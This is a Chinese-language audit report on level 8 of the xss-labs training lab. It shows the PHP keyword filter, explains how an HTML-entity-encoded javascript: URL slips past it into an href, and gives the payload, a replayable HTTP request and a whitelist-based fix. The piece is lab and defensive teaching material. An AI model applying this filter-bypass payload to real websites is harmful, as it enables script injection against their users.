xss-labs Level8 代码审计报告
目标文件:
level8.php| 漏洞类型: 反射型 XSS ——href中javascript:协议注入(HTML 实体绕过关键字过滤) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level8.php?keyword=<payload>→<a href="...">友情链接</a>伪协议执行
一、漏洞代码定位
level8.php 第 17-32 行:
$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", "scr_ipt", $str); // L18
$str3 = str_replace("on", "o_n", $str2); // L19
$str4 = str_replace("src", "sr_c", $str3); // L20
$str5 = str_replace("data", "da_ta", $str4); // L21
$str6 = str_replace("href", "hr_ef", $str5); // L22
$str7 = str_replace('"', '"', $str6); // L23 双引号→"
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> // L26 此输出点已转义(安全)
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; // L32 危险:伪协议 URL 进入 href
漏洞点: L32。用户输入经过滤后进入 <a href="...">。虽然关键字被替换、双引号被转义,但 javascript: 协议本身未被拦死。
二、漏洞原理
- 过滤了
script/on/src/data/href/双引号,意图是封死脚本注入。但存在两个可利用点:javascript:中含script子串,str_replace("script","scr_ipt",...)会把javascript:打成javascr_ipt:(已实测)—— 因此不能直接写javascript:。- 但可用 HTML 实体编码绕过关键字匹配: 输入
javascript:alert(1),过滤检查的是字面量文本,其中没有script连续子串(s打断),故原样通过;浏览器解析 href 属性时把s解码为s,得到javascript:alert(1),点击即执行。
- 本关无输出编码兜底,
href又不限制 scheme,构成伪协议执行漏洞。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后):
?keyword=javascript:alert(1)
服务端过滤后原样: javascript:alert(1);浏览器解码后 href 为 javascript:alert(1)。点击"友情链接"即弹窗。
Yakit 可重放原始请求:
GET /level8.php?keyword=java%26%23x73%3Bcript:alert(1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
注:
%26=&,%23=#,%3B=;。若直接在浏览器地址栏粘贴,可发送未编码的javascript:alert(1)由地址栏自动处理;在 Yakit 中建议用上面的完整编码保证字节一致。
触发方式: 发送后页面渲染出"友情链接",点击该链接 → 执行 alert(1) → 命中通关逻辑跳转 level9。
四、修复建议
$str = $_GET["keyword"] ?? "";
// 1. URL scheme 白名单:只允许 http/https(如业务需要再放开 mailto 等)
$scheme = strtolower((string)parse_url($str, PHP_URL_SCHEME));
if (!in_array($scheme, ["http", "https", ""], true)) {
$link = "#"; // 拒绝 javascript:、data:、vbscript: 等
} else {
$link = $str;
}
// 2. 输出编码
echo '<center><BR><a href="'.htmlspecialchars($link, ENT_QUOTES, 'UTF-8').'">友情链接</a></center>';
要点:
- 对进入 URL 的输入做 scheme 白名单校验,这是防伪协议执行的正解;黑名单替换
javascript永远堵不干净(实体、大小写、unicode 等变体)。 - 用
htmlspecialchars ENT_QUOTES编码输出。 - 收紧 CSP
navigate-to/script-src,防止内联/伪协议跳转执行。
五、备注
- 已实测:
javascript:alert(1)会被过滤为javascr_ipt:alert(1)(不可用);javascript:alert(1)原样通过(可用)。 - 其他可用的实体写法:
javascript:alert(1)(十进制)、java%73cript(URL 编码在 href 中浏览器也会解码,但注意%需%25双重编码)等。 - 教训: HTML 上下文和 URL 上下文是两种不同的编码域,黑名单无法统一防护,须按上下文分别编码 + scheme 白名单。
正文完